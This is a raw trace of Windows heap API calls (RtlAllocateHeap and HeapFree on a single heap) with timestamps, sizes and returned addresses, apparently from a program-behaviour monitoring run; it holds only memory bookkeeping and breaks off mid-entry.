[0131.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c400 [0131.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c448 [0131.405] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c4a8 | out: hHeap=0xe80000) returned 1 [0131.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c460 [0131.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c508 [0131.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c6a0 [0131.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c140 [0131.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c6b8 [0131.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c628 [0131.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c4c0 [0131.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c688 [0131.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c550 [0131.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c478 [0131.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c538 [0131.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c658 | out: hHeap=0xe80000) returned 1 [0131.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c430 | out: hHeap=0xe80000) returned 1 [0131.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c448 | out: hHeap=0xe80000) returned 1 [0131.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c400 | out: hHeap=0xe80000) returned 1 [0131.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c460 | out: hHeap=0xe80000) returned 1 [0131.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c508 | out: hHeap=0xe80000) returned 1 [0131.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c6a0 | out: hHeap=0xe80000) returned 1 [0131.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xe) returned 0xe9c598 [0131.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c448 [0131.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bed8 [0131.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c448 | out: hHeap=0xe80000) returned 1 [0131.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bed8 | out: hHeap=0xe80000) returned 1 [0131.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c598 | out: hHeap=0xe80000) returned 1 [0131.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c400 [0131.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c640 [0131.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c448 [0131.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf68 [0131.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c448 | out: hHeap=0xe80000) returned 1 [0131.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bf68 | out: hHeap=0xe80000) returned 1 [0131.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c640 | out: hHeap=0xe80000) returned 1 [0131.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c598 [0131.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x26) returned 0xe88568 [0131.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c568 [0131.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xe8c578 [0131.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bed8 [0131.407] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe88568 | out: hHeap=0xe80000) returned 1 [0131.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c430 [0131.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c640 [0131.407] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c568 | out: hHeap=0xe80000) returned 1 [0131.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c4d8 [0131.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c508 [0131.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c448 [0131.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c2f8 [0131.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c4f0 [0131.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c610 [0131.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c4a8 [0131.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c520 [0131.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c460 [0131.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c568 [0131.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c580 [0131.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c400 | out: hHeap=0xe80000) returned 1 [0131.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c598 | out: hHeap=0xe80000) returned 1 [0131.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c640 | out: hHeap=0xe80000) returned 1 [0131.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c430 | out: hHeap=0xe80000) returned 1 [0131.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c4d8 | out: hHeap=0xe80000) returned 1 [0131.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c508 | out: hHeap=0xe80000) returned 1 [0131.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c448 | out: hHeap=0xe80000) returned 1 [0131.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xe) returned 0xe9c598 [0131.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c4d8 [0131.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bee8 [0131.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c4d8 | out: hHeap=0xe80000) returned 1 [0131.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bee8 | out: hHeap=0xe80000) returned 1 [0131.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c598 | out: hHeap=0xe80000) returned 1 [0131.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c640 [0131.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c658 [0131.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c400 [0131.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf68 [0131.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c400 | out: hHeap=0xe80000) returned 1 [0131.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bf68 | out: hHeap=0xe80000) returned 1 [0131.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c658 | out: hHeap=0xe80000) returned 1 [0131.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c400 [0131.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x22) returned 0xe88568 [0131.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c4d8 [0131.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xe8c268 [0131.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bee8 [0131.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe88568 | out: hHeap=0xe80000) returned 1 [0131.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c658 [0131.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c598 [0131.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c4d8 | out: hHeap=0xe80000) returned 1 [0131.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c5b0 [0131.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c4d8 [0131.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c430 [0131.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c208 [0131.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c448 [0131.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c5c8 [0131.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c5e0 [0131.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c670 [0131.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c490 [0131.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c508 [0131.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c5f8 [0131.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c640 | out: hHeap=0xe80000) returned 1 [0131.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c400 | out: hHeap=0xe80000) returned 1 [0131.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c598 | out: hHeap=0xe80000) returned 1 [0131.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c658 | out: hHeap=0xe80000) returned 1 [0131.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c5b0 | out: hHeap=0xe80000) returned 1 [0131.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c4d8 | out: hHeap=0xe80000) returned 1 [0131.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c430 | out: hHeap=0xe80000) returned 1 [0131.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xe) returned 0xe9c6a0 [0131.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c400 [0131.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf28 [0131.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c400 | out: hHeap=0xe80000) returned 1 [0131.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bf28 | out: hHeap=0xe80000) returned 1 [0131.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c6a0 | out: hHeap=0xe80000) returned 1 [0131.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c430 [0131.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c6a0 [0131.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c4d8 [0131.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf28 [0131.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c4d8 | out: hHeap=0xe80000) returned 1 [0131.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bf28 | out: hHeap=0xe80000) returned 1 [0131.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c6a0 | out: hHeap=0xe80000) returned 1 [0131.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c4d8 [0131.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c168 [0131.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c640 [0131.413] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c1b8 [0131.413] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf28 [0131.413] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c168 | out: hHeap=0xe80000) returned 1 [0131.413] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c658 [0131.413] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c598 [0131.413] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c640 | out: hHeap=0xe80000) returned 1 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c640 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c5b0 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c6a0 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c230 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c400 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c778 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c790 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c6e8 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c7a8 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c700 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c718 [0131.414] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c430 | out: hHeap=0xe80000) returned 1 [0131.414] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c4d8 | out: hHeap=0xe80000) returned 1 [0131.414] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c598 | out: hHeap=0xe80000) returned 1 [0131.414] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c658 | out: hHeap=0xe80000) returned 1 [0131.414] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c640 | out: hHeap=0xe80000) returned 1 [0131.414] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c5b0 | out: hHeap=0xe80000) returned 1 [0131.414] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c6a0 | out: hHeap=0xe80000) returned 1 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xe) returned 0xe9c658 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c6a0 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf68 [0131.414] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c6a0 | out: hHeap=0xe80000) returned 1 [0131.414] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bf68 | out: hHeap=0xe80000) returned 1 [0131.414] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c658 | out: hHeap=0xe80000) returned 1 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c640 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c5b0 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c430 [0131.414] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf38 [0131.415] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c430 | out: hHeap=0xe80000) returned 1 [0131.415] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bf38 | out: hHeap=0xe80000) returned 1 [0131.415] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c5b0 | out: hHeap=0xe80000) returned 1 [0131.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c6a0 [0131.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1e) returned 0xe9c258 [0131.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c430 [0131.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c028 [0131.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf38 [0131.415] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c258 | out: hHeap=0xe80000) returned 1 [0131.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c4d8 [0131.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9c598 [0131.415] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c430 | out: hHeap=0xe80000) returned 1 [0131.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c5b0 [0131.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c658 [0131.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c430 [0131.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c258 [0131.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c730 [0131.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c748 [0131.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9c760 [0131.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97b28 [0131.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe97ba0 [0131.415] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dc10 [0131.416] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9db68 [0131.416] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c640 | out: hHeap=0xe80000) returned 1 [0131.416] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c6a0 | out: hHeap=0xe80000) returned 1 [0131.416] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c598 | out: hHeap=0xe80000) returned 1 [0131.416] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c4d8 | out: hHeap=0xe80000) returned 1 [0131.416] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c5b0 | out: hHeap=0xe80000) returned 1 [0131.416] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c658 | out: hHeap=0xe80000) returned 1 [0131.416] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c430 | out: hHeap=0xe80000) returned 1 [0131.416] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xe) returned 0xe9daa8 [0131.416] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9db20 [0131.416] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf68 [0131.416] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9db20 | out: hHeap=0xe80000) returned 1 [0131.416] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bf68 | out: hHeap=0xe80000) returned 1 [0131.416] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9daa8 | out: hHeap=0xe80000) returned 1 [0131.416] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9db08 [0131.416] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dcd0 [0131.416] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9dbb0 [0131.416] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf68 [0131.417] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dbb0 | out: hHeap=0xe80000) returned 1 [0131.417] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bf68 | out: hHeap=0xe80000) returned 1 [0131.417] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dcd0 | out: hHeap=0xe80000) returned 1 [0131.417] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dbf8 [0131.417] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c168 [0131.417] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9daf0 [0131.417] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c2d0 [0131.417] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf68 [0131.417] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c168 | out: hHeap=0xe80000) returned 1 [0131.417] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9db80 [0131.417] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9db98 [0131.417] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9daf0 | out: hHeap=0xe80000) returned 1 [0131.417] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dcd0 [0131.417] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dbb0 [0131.417] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9daa8 [0131.417] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c370 [0131.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dbc8 [0131.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9db20 [0131.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dc28 [0131.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9dc40 [0131.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9da78 [0131.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dd00 [0131.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dc58 [0131.418] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9db08 | out: hHeap=0xe80000) returned 1 [0131.418] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dbf8 | out: hHeap=0xe80000) returned 1 [0131.418] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9db98 | out: hHeap=0xe80000) returned 1 [0131.418] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9db80 | out: hHeap=0xe80000) returned 1 [0131.418] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dcd0 | out: hHeap=0xe80000) returned 1 [0131.418] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dbb0 | out: hHeap=0xe80000) returned 1 [0131.418] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9daa8 | out: hHeap=0xe80000) returned 1 [0131.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xe) returned 0xe9dcd0 [0131.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9db08 [0131.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf78 [0131.418] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9db08 | out: hHeap=0xe80000) returned 1 [0131.418] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bf78 | out: hHeap=0xe80000) returned 1 [0131.418] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dcd0 | out: hHeap=0xe80000) returned 1 [0131.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dce8 [0131.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dac0 [0131.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9da90 [0131.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf78 [0131.418] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9da90 | out: hHeap=0xe80000) returned 1 [0131.418] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bf78 | out: hHeap=0xe80000) returned 1 [0131.418] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dac0 | out: hHeap=0xe80000) returned 1 [0131.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9da90 [0131.418] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1c) returned 0xe9bfd8 [0131.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9dc70 [0131.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c050 [0131.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf78 [0131.419] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bfd8 | out: hHeap=0xe80000) returned 1 [0131.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9db38 [0131.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9db50 [0131.419] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dc70 | out: hHeap=0xe80000) returned 1 [0131.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9db80 [0131.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dc70 [0131.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dc88 [0131.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c0c8 [0131.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dca0 [0131.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9db98 [0131.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dcb8 [0131.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9dcd0 [0131.419] 